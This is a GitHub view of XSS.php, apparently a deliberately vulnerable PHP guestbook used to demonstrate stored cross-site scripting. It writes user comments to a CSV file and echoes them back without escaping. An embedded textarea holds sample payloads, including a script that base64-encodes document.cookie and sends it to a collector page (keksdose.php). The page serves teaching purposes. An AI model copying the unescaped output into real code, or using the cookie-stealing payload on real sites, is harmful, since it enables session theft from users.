-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathXSS.php
88 lines (72 loc) · 2.53 KB
/
XSS.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
session_start();
$file = 'xss_entries.csv';
if ($_POST) {
$username = $_POST['username'];
$content = $_POST['content'];
if ($username && $content) {
$fp = fopen($file, 'a');
$values = array($username, $content, time());
fputcsv($fp, $values);
fclose($fp);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Cross-Site Scripting</title>
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/XSS.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="main">
<div class="panel panel-primary">
<div class="panel-heading">
<h3 class="panel-title">Sag uns deine Meinung</h3>
</div>
<div class="panel-body">
<form role="form" action="XSS.php" method="POST">
<div class="form-group">
<input type="text" class="form-control" name="username" placeholder="Name">
</div>
<div class="form-group">
<textarea name="content" class="form-control" rows="5" placeholder="Kommentar"></textarea>
</div>
<button type="submit" class="btn btn-primary pull-right">Abschicken</button>
</form>
</div>
</div>
</div>
<div class="list-group">
<h3 class="list-group-item">Kommentare</h3>
<?php
$handle = fopen($file, 'r');
while (($data = fgetcsv($handle, 1000, ",")) !== false) {
echo
'<a href="#" class="list-group-item">
<h3 class="list-group-item-heading">' . $data[0] . '</h3>
<p class="list-group-item-text">' . $data[1] . '</p>
</a>';
}
fclose($handle);
?>
</div>
<form role="form">
<div class="form-group">
<textarea class="form-control" rows="13" style="opacity: 0.7"><h1 style="color:hotpink">YEAH</h1>
<img src="//upload.wikimedia.org/wikipedia/meta/0/08/Wikipedia-logo-v2_1x.png" onLoad="document.body.style.backgroundColor = 'red'">
<script>
var img = document.createElement('img');
img.src = 'keksdose.php?cookie=' + btoa(document.cookie);
document.body.appendChild(img);
</script></textarea>
</div>
</form>
</div>
</div>
</body>
</html>